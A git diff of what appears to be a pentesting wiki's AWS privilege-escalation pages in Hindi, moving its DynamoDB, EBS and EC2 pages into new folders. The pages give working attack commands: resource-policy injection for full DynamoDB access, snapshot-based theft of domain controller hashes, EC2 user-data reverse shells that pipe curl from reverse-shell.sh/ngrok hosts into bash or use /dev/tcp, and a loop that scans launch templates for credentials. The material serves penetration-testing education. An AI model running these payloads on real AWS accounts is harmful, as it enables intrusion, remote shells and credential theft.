-आदर्श रूप से, आपके पास `dynamodb:GetResourcePolicy` भी होना चाहिए, ताकि आप अन्य संभावित महत्वपूर्ण अनुमतियों को अधिलेखित न करें, बल्कि केवल उन अतिरिक्त अनुमतियों को इंजेक्ट करें जिनकी आपको आवश्यकता है:
-```bash
-# get the current resource based policy (if it exists) and save it to a file
-aws dynamodb get-resource-policy \
---resource-arn  \
---query 'Policy' \
---output text > policy.json
-```
-यदि आप वर्तमान नीति को पुनः प्राप्त नहीं कर सकते हैं, तो बस इस नीति का उपयोग करें जो आपके प्रिंसिपल को तालिका पर पूर्ण पहुंच प्रदान करती है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "FullAccessToDynamoDBTable",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam:::/"
-},
-"Action": [
-"dynamodb:*"
-],
-"Resource": [
-"arn:aws:dynamodb:::table/"
-]
-}
-]
-}
-```
-यदि आपको इसे अनुकूलित करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB क्रियाओं की एक सूची है: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)। और यहाँ सभी क्रियाओं की एक सूची है जिन्हें संसाधन आधारित नीति के माध्यम से अनुमति दी जा सकती है *और इनमें से कौन सी क्रियाएँ क्रॉस-खाता उपयोग के लिए उपलब्ध हैं (डेटा निकासी के बारे में सोचें!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
-
-अब, नीति दस्तावेज़ `policy.json` तैयार है, संसाधन नीति डालें:
-```bash
-# put the new policy using the prepared policy file
-# dynamodb does weirdly not allow a direct file upload
-aws dynamodb put-resource-policy \
---resource-arn  \
---policy "$(cat policy.json)"
-```
-अब, आपके पास आवश्यक अनुमतियाँ होनी चाहिए।
-
-### पोस्ट एक्सप्लोइटेशन
-
-जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियाँ होने से विशेषाधिकार बढ़ाने का **कोई अन्य सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB पोस्ट एक्सप्लोइटेशन पृष्ठ** में विचारित हैं:
-
-{{#ref}}
-../aws-post-exploitation/aws-dynamodb-post-exploitation.md
-{{#endref}}
-
-### TODO: डेटा स्ट्रीम का दुरुपयोग करके डेटा पढ़ें
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
new file mode 100644
index 000000000..f017fcf22
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
@@ -0,0 +1,72 @@
+# AWS - DynamoDB Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## dynamodb
+
+dynamodb के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`
+
+मार्च 2024 से, AWS ने DynamoDB के लिए *resource based policies* पेश की हैं ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/))।
+
+इसलिए, यदि आपके पास किसी table के लिए `dynamodb:PutResourcePolicy` है, तो आप स्वयं को या किसी अन्य principal को उस table का पूर्ण एक्सेस दे सकते हैं।
+
+किसी भी random principal को `dynamodb:PutResourcePolicy` देना अक्सर दुर्घटना से होता है, जब admins समझते हैं कि `dynamodb:Put*` देने से principal केवल database में items डाल पाएगा — या जब उन्होंने वह permissionset March 2024 से पहले दे दिया हो...
+
+आदर्श रूप में, आपके पास `dynamodb:GetResourcePolicy` भी होना चाहिए, ताकि आप अन्य संभावित रूप से महत्वपूर्ण permissions को overwrite न करें, बल्कि केवल आवश्यक अतिरिक्त permissions जोड़ें:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn  \
+--query 'Policy' \
+--output text > policy.json
+```
+यदि आप वर्तमान policy प्राप्त नहीं कर पा रहे हैं, तो बस यह वाला उपयोग करें जो आपके principal को table पर पूरा एक्सेस देता है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam:::/"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:::table/"
+]
+}
+]
+}
+```
+यदि आपको इसे कस्टमाइज़ करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB actions की सूची है: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). और यहाँ उन सभी actions की सूची है जिन्हें resource based policy के माध्यम से अनुमति दी जा सकती है *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+अब, policy document `policy.json` तैयार होने पर, resource policy डालें:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn  \
+--policy "$(cat policy.json)"
+```
+अब आपके पास आवश्यक permissions होने चाहिए।
+
+### Post Exploitation
+
+मेरी जानकारी के अनुसार **केवल कुछ AWS `dynamodb` permissions होने की स्थिति में AWS में privileges escalate करने का कोई अन्य सीधा तरीका नहीं है**। आप tables से **संवेदनशील जानकारी पढ़** सकते हैं (जो AWS credentials रख सकती है) और tables पर **जानकारी लिख** सकते हैं (जो अन्य vulnerabilities को ट्रिगर कर सकती हैं, जैसे lambda code injections...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation page** में शामिल किए गए हैं:
+
+{{#ref}}
+../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
+{{#endref}}
+
+### TODO: data Streams का दुरुपयोग करके डेटा पढ़ना
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 690029e8c..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - EBS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-एक हमलावर जिसके पास ये होंगे, वह संभावित रूप से **स्थानीय रूप से वॉल्यूम स्नैपशॉट डाउनलोड और विश्लेषण** कर सकेगा और उनमें संवेदनशील जानकारी (जैसे कि रहस्य या स्रोत कोड) की खोज कर सकेगा। इसे करने का तरीका जानें:
-
-{{#ref}}
-../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
-{{#endref}}
-
-अन्य अनुमतियाँ भी उपयोगी हो सकती हैं जैसे: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-
-उपकरण [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) इस हमले को **डोमेन कंट्रोलर से पासवर्ड निकालने** के लिए करता है।
-
-**संभावित प्रभाव:** स्नैपशॉट में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क (आप सक्रिय निर्देशिका के पासवर्ड भी प्राप्त कर सकते हैं)।
-
-### **`ec2:CreateSnapshot`**
-
-कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे उदाहरण में माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है।
-
-आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
new file mode 100644
index 000000000..9aff24c83
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
@@ -0,0 +1,27 @@
+# AWS - EBS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EBS
+
+### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
+
+इन अनुमतियों वाले एक हमलावर के लिए संभवतः **volumes snapshots को स्थानीय रूप से डाउनलोड और विश्लेषण करना** संभव होगा और उनमें संवेदनशील जानकारी (जैसे secrets या source code) खोजी जा सकेगी। इसे कैसे करना है देखें:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+{{#endref}}
+
+अन्य permissions भी उपयोगी हो सकते हैं जैसे: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+
+यह टूल [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) इस हमले को अंजाम देता है ताकि **डोमेन कंट्रोलर से पासवर्ड निकाले जा सकें**।
+
+**Potential Impact:** स्नैपशॉट में संवेदनशील जानकारी ढूंढकर अप्रत्यक्ष privesc (आप यहां तक कि Active Directory पासवर्ड भी प्राप्त कर सकते हैं)।
+
+### **`ec2:CreateSnapshot`**
+
+कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** permission है, Domain Controller का **snapshot** बनाकर उसे अपनी नियंत्रित instance पर mount करके डोमेन के सभी उपयोगकर्ताओं के hashes चुरा सकता है और **NTDS.dit और SYSTEM** registry hive फ़ाइल export कर सकता है ताकि इसे Impacket's secretsdump project के साथ उपयोग किया जा सके।
+
+आप इस हमले को ऑटोमेट करने के लिए इस टूल का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या snapshot बनाने के बाद उपर्युक्त तकनीकों में से किसी एक का उपयोग कर सकते हैं।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
deleted file mode 100644
index 9700cd7bf..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ /dev/null
@@ -1,261 +0,0 @@
-# AWS - EC2 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-For more **info about EC2** check:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि मेटाडेटा एंडपॉइंट से IAM भूमिका क्रेडेंशियल्स चुराए जा सकें।
-
-- **SSH के माध्यम से पहुँच**
-
-एक **बनाए गए** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति होनी चाहिए)।
-```bash
-aws ec2 run-instances --image-id  --instance-type t2.micro \
---iam-instance-profile Name= --key-name  \
---security-group-ids 
-```
-- **उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुँच**
-
-आप एक नया उदाहरण चला सकते हैं जो एक **उपयोगकर्ता डेटा** (`--user-data`) का उपयोग करेगा जो आपको एक **रिव शेल** भेजेगा। इस तरीके से आपको सुरक्षा समूह निर्दिष्ट करने की आवश्यकता नहीं है।
-```bash
-echo '#!/bin/bash
-curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
-
-aws ec2 run-instances --image-id  --instance-type t2.micro \
---iam-instance-profile Name= \
---count 1 \
---user-data "file:///tmp/rev.sh"
-```
-GuradDuty के साथ सावधान रहें यदि आप इंस्टेंस के बाहर IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं:
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
-{{#endref}}
-
-**संभावित प्रभाव:** किसी भी EC2 भूमिका तक सीधे पहुँच जो मौजूदा इंस्टेंस प्रोफाइल से जुड़ी है।
-
-#### ECS तक पहुँच
-
-इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (docker कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं**।
-```bash
-aws ec2 run-instances \
---image-id ami-07fde2ae86109a2af \
---instance-type t2.micro \
---iam-instance-profile  \
---count 1 --key-name pwned \
---user-data "file:///tmp/asd.sh"
-
-# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
-# The EC2 instance profile needs basic ECS access
-# The content of the user data is:
-#!/bin/bash
-echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
-```
-ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए जांचें:
-
-{{#ref}}
-aws-ecs-privesc.md
-{{#endref}}
-
-यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास `ecs:RegisterContainerInstance` अनुमति है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर करने और टिप्पणी की गई हमले को करने में सक्षम हो सकते हैं।
-
-**संभावित प्रभाव:** कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क।
-
-### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-
-पिछले परिदृश्य के समान, इन अनुमतियों के साथ एक हमलावर **एक समझौता किए गए इंस्टेंस की IAM भूमिका को बदल सकता है** ताकि वह नए क्रेडेंशियल चुरा सके।\
-चूंकि एक इंस्टेंस प्रोफ़ाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफ़ाइल **पहले से ही एक भूमिका रखती है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
-```bash
-# Removing role from instance profile
-aws iam remove-role-from-instance-profile --instance-profile-name  --role-name 
-
-# Add role to instance profile
-aws iam add-role-to-instance-profile --instance-profile-name  --role-name 
-```
-यदि **इंस्टेंस प्रोफ़ाइल में एक भूमिका है** और हमलावर **इसे हटा नहीं सकता**, तो एक और समाधान है। वह **एक ऐसी इंस्टेंस प्रोफ़ाइल खोज सकता है जिसमें कोई भूमिका नहीं है** या **एक नई बना सकता है** (`iam:CreateInstanceProfile`), **उस इंस्टेंस प्रोफ़ाइल में भूमिका जोड़ सकता है** (जैसा कि पहले चर्चा की गई थी), और **समझौता की गई इंस्टेंस प्रोफ़ाइल को एक समझौता की गई इंस्टेंस से जोड़ सकता है:**
-
-- यदि इंस्टेंस **के पास कोई इंस्टेंस** प्रोफ़ाइल नहीं है (`ec2:AssociateIamInstanceProfile`)
-```bash
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id 
-```
-**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)।
-
-### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-
-इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा।
-
-- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं।
-```bash
-aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
-aws ec2 disassociate-iam-instance-profile --association-id 
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id 
-```
-- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस (`ec2:ReplaceIamInstanceProfileAssociation`)।
-```bash
-aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id 
-```
-**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)।
-
-### `ec2:RequestSpotInstances`,`iam:PassRole`
-
-एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **रिव शेल** है।\
-एक बार उदाहरण चलने के बाद, वह **IAM भूमिका** को **चुरा** सकता है।
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 request-spot-instances \
---instance-count 1 \
---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
-```
-### `ec2:ModifyInstanceAttribute`
-
-एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए मजबूर कर सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है।
-
-ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**।
-```bash
-TEXT='Content-Type: multipart/mixed; boundary="//"
-MIME-Version: 1.0
-
---//
-Content-Type: text/cloud-config; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="cloud-config.txt"
-
-#cloud-config
-cloud_final_modules:
-- [scripts-user, always]
-
---//
-Content-Type: text/x-shellscript; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="userdata.txt"
-
-#!/bin/bash
-bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
---//'
-TEXT_PATH="/tmp/text.b64.txt"
-
-printf $TEXT | base64 > "$TEXT_PATH"
-
-aws ec2 stop-instances --instance-ids $INSTANCE_ID
-
-aws ec2 modify-instance-attribute \
---instance-id="$INSTANCE_ID" \
---attribute userData \
---value file://$TEXT_PATH
-
-aws ec2 start-instances --instance-ids $INSTANCE_ID
-```
-**संभावित प्रभाव:** किसी भी EC2 IAM भूमिका पर सीधे प्रिवेस्क।
-
-### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-
-एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** के लिए **किया गया है** जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट** का उपयोग करके **इंस्टेंस को फिर से चलाएगा** और rev shell को निष्पादित करेगा।
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 create-launch-template-version \
---launch-template-name bad_template \
---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
-
-aws ec2 modify-launch-template \
---launch-template-name bad_template \
---default-version 2
-```
-**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क।
-
-### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-
-एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** बना सकता है जिसमें **IAM भूमिका** और **रिवर्स शेल** **उपयोगकर्ता डेटा** के अंदर हो, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
-```bash
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
---launch-configuration-name bad_config \
---image-id ami-0c1bc246476a5572b \
---instance-type t3.micro \
---iam-instance-profile EC2-CloudWatch-Agent-Role \
---user-data "$REV"
-
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
---auto-scaling-group-name bad_auto \
---min-size 1 --max-size 1 \
---launch-configuration-name bad_config \
---desired-capacity 1 \
---vpc-zone-identifier "subnet-e282f9b8"
-```
-**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क।
-
-### `!autoscaling`
-
-अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेज बढ़ाने के लिए पर्याप्त नहीं है** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)।
-
-### `ec2-instance-connect:SendSSHPublicKey`
-
-एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेज बढ़ा सकता है।
-```bash
-aws ec2-instance-connect send-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---instance-os-user "ec2-user" \
---ssh-public-key "file://$PUBK_PATH"
-```
-**संभावित प्रभाव:** चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे प्रिवेस्क।
-
-### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-
-एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक धारावाहिक कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि धारावाहिक सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है।
-
-धारावाहिक पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है**।
-```bash
-aws ec2 enable-serial-console-access
-
-aws ec2-instance-connect send-serial-console-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---serial-port 0 \
---region "eu-west-1" \
---ssh-public-key "file://$PUBK_PATH"
-
-ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
-```
-इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा।
-
-**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य नहीं) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।
-
-### `describe-launch-templates`,`describe-launch-template-versions`
-
-चूंकि लॉन्च टेम्पलेट्स में संस्करण होते हैं, **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है:
-```bash
-for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
-do
-echo "[*] Analyzing $i"
-aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
-do
-echo "VersionNumber: $version"
-echo "$userdata" | base64 -d
-echo
-done | grep -iE "aws_|password|token|api"
-done
-```
-उपरोक्त कमांड में, हालांकि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की संवेदनशील जानकारी के लिए खोजने के लिए एक अलग regex का उपयोग कर सकते हैं।
-
-मान लेते हैं कि हम `aws_access_key_id` और `aws_secret_access_key` पाते हैं, हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकरण के लिए कर सकते हैं।
-
-**संभावित प्रभाव:** IAM उपयोगकर्ता(ों) के लिए सीधे विशेषाधिकार वृद्धि।
-
-## संदर्भ
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
new file mode 100644
index 000000000..c31de6f98
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -0,0 +1,300 @@
+# AWS - EC2 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+EC2 के बारे में अधिक **जानकारी** के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+एक attacker **एक instance बना सकता है जिसमें एक IAM role attach किया गया हो और फिर उस instance में access कर सकता है** ताकि वह metadata endpoint से IAM role credentials चुरा सके।
+
+- **SSH के माध्यम से पहुँच**
+
+एक नया instance चलाएं जो **बनाई गई** **ssh key** (`--key-name`) का उपयोग करता हो और फिर उस पर ssh करें (यदि आप एक नई key बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति की आवश्यकता हो सकती है)।
+```bash
+aws ec2 run-instances --image-id  --instance-type t2.micro \
+--iam-instance-profile Name= --key-name  \
+--security-group-ids 
+```
+- **rev shell के जरिए user data में एक्सेस**
+
+आप **user data** (`--user-data`) का उपयोग करके एक नया instance चला सकते हैं जो आपको एक **rev shell** भेजेगा। इस तरह आपको security group निर्दिष्ट करने की आवश्यकता नहीं है।
+```bash
+echo '#!/bin/bash
+curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
+
+aws ec2 run-instances --image-id  --instance-type t2.micro \
+--iam-instance-profile Name= \
+--count 1 \
+--user-data "file:///tmp/rev.sh"
+```
+यदि आप IAM role के credentials को instance के बाहर उपयोग करते हैं तो GuradDuty के साथ सावधान रहें:
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+{{#endref}}
+
